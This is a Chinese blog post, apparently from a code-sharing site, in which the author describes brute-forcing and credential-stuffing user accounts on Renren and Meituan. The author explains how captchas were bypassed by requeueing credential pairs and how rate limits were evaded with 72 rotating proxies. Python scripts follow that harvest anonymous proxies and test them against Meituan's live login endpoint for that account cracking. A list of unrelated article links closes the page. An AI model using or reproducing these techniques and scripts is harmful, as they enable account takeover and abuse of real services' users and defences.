批量获取及验证HTTP代理的Python脚本


Posted in Python onApril 23, 2017

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
  soup = BeautifulSoup(html_doc)
  trs = soup.find('table', id='ip_list').find_all('tr')
  for tr in trs[1:]:
    tds = tr.find_all('td')
    ip = tds[1].text.strip()
    port = tds[2].text.strip()
    protocol = tds[5].text.strip()
    if protocol == 'HTTP' or protocol == 'HTTPS':
      of.write('%s=%s:%s\n' % (protocol, ip, port) )
      print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
  while True:
    lock.acquire()
    line = inFile.readline().strip()
    lock.release()
    if len(line) == 0: break
    protocol, proxy = line.split('=')
    headers = {'Content-Type': 'application/x-www-form-urlencoded',
      'Cookie': ''}
    try:
      conn = httplib.HTTPConnection(proxy, timeout=3.0)
      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
      res = conn.getresponse()
      ret_headers = str( res.getheaders() ) 
      html_doc = res.read().decode('utf-8')
      print html_doc.encode('gbk')
      if ret_headers.find(u'/m/account/login/') > 0:
        lock.acquire()
        print 'add proxy', proxy
        outFile.write(proxy + '\n')
        lock.release()
      else:
        print '.',
    except Exception, e:
      print e

all_thread = []
for i in range(50):
  t = threading.Thread(target=test)
  all_thread.append(t)
  t.start()
  
for t in all_thread:
  t.join()

inFile.close()
outFile.close()
Python 相关文章推荐
wxpython 学习笔记 第一天
Feb 09 Python
tensorflow实现softma识别MNIST
Mar 12 Python
Python面向对象类的继承实例详解
Jun 27 Python
python版飞机大战代码分享
Nov 20 Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 Python
python f-string式格式化听语音流程讲解
Jun 18 Python
Django 对象关系映射(ORM)源码详解
Aug 06 Python
解决python明明pip安装成功却找不到包的问题
Aug 28 Python
django框架中ajax的使用及避开CSRF 验证的方式详解
Dec 11 Python
python 带时区的日期格式化操作
Oct 23 Python
基于Pytorch版yolov5的滑块验证码破解思路详解
Feb 25 Python
利用Python第三方库实现预测NBA比赛结果
Jun 21 Python
深入理解python中的select模块
Apr 23 #Python
Python3如何解决字符编码问题详解
Apr 23 #Python
Python制作刷网页流量工具
Apr 23 #Python
Python读取指定目录下指定后缀文件并保存为docx
Apr 23 #Python
正确理解python中的关键字“with”与上下文管理器
Apr 21 #Python
python妙用之编码的转换详解
Apr 21 #Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
You might like
syphon 虹吸式咖啡冲泡冲煮倒水的得与失
2021/03/03 冲泡冲煮
PHP 和 MySQL 基础教程(二)
2006/10/09 PHP
php addslashes 利用递归实现使用反斜线引用字符串
2013/08/05 PHP
php导出csv文件,可导出前导0实例代码
2016/11/16 PHP
PHP面向对象程序设计之构造方法和析构方法详解
2019/06/13 PHP
通过PHP的Wrapper无缝迁移原有项目到新服务的实现方法
2020/04/02 PHP
document.open() 与 document.write()的区别
2007/08/13 Javascript
[原创]后缀就扩展名为js的文件是什么文件
2007/12/06 Javascript
FireFox下XML对象转化成字符串的解决方法
2011/12/09 Javascript
利用jQuery的deferred对象实现异步按顺序加载JS文件
2013/03/17 Javascript
JS+CSS实现带关闭按钮DIV弹出窗口的方法
2015/02/27 Javascript
ArtEditor富文本编辑器增加表单提交功能
2016/04/18 Javascript
zTree实现节点修改的实时刷新功能
2017/03/20 Javascript
JavaScript实现无穷滚动加载数据
2017/05/06 Javascript
node thread.sleep实现示例
2018/06/20 Javascript
详解使用VUE搭建后台管理系统(vue-cli更新至3.0)
2018/08/22 Javascript
详解使用angular框架离线你的应用(pwa指南)
2019/01/31 Javascript
vue+elementUI实现图片上传功能
2019/08/20 Javascript
JavaScript如何使用插值实现图像渐变
2020/06/28 Javascript
如何在JS文件中获取Vue组件
2020/09/16 Javascript
javascript贪吃蛇游戏设计与实现
2020/09/17 Javascript
python使用KNN算法手写体识别
2018/02/01 Python
Python Opencv实现图像轮廓识别功能
2020/03/23 Python
python中的协程深入理解
2019/06/10 Python
用纯css3实现的图片放大镜特效效果非常不错
2014/09/02 HTML / CSS
澳大利亚潮流尖端的快时尚品牌:Cotton On
2016/09/26 全球购物
爱尔兰灯和灯具网上商店:Lights.ie
2018/03/26 全球购物
在对linux系统分区进行格式化时需要对磁盘簇(或i节点密度)的大小进行选择,请说明选择的原则
2012/01/13 面试题
责任书格式范文
2014/07/28 职场文书
单位实习工作证明怎么写
2014/11/02 职场文书
租赁协议书
2015/01/27 职场文书
2015年全国助残日活动方案
2015/05/04 职场文书
2015年电教工作总结
2015/05/26 职场文书
劳动模范获奖感言
2015/07/31 职场文书
Java 超详细讲解ThreadLocal类的使用
2022/04/07 Java/Android
VW、VH适配移动端的解决方案与常见问题
2023/05/21 HTML / CSS